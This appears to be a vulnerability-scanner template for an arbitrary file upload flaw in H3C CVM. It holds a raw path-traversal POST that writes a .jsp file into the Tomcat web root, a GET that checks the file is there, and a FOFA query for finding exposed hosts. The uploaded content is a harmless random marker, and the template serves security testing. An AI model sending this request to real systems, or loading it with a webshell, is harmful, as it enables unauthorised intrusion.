51 lines
1.4 KiB
YAML
51 lines
1.4 KiB
YAML
id: h3c-cvm-arbitrary-file-upload
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info:
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name: H3C CVM - Arbitrary File Upload
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author: SleepingBag945
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severity: critical
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description: |
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An H3C CVM vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.
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reference:
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- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/h3c-cvm-fileupload.yaml
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- https://github.com/tr0uble-mAker/POC-bomber/blob/main/pocs/redteam/h3c_cvm_fileupload_2022.py
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metadata:
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max-request: 2
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verified: true
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fofa-query: server="H3C-CVM"
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tags: h3c,lfi,instrusive,file-upload
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variables:
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filename: "{{rand_base(5)}}"
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payload: "{{rand_base(8)}}"
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http:
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- raw:
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- |
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POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{{filename}}.jsp&name=222" HTTP/1.1
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Host: {{Hostname}}
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Content-range: bytes 0-10/20
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Accept-Encoding: gzip, deflate
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{{payload}}
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- |
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GET /cas/js/lib/buttons/{{filename}}.jsp HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- "{{payload}}"
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- type: word
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part: header
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words:
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- "Content-Type: text/html"
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- type: status
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status:
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- 200
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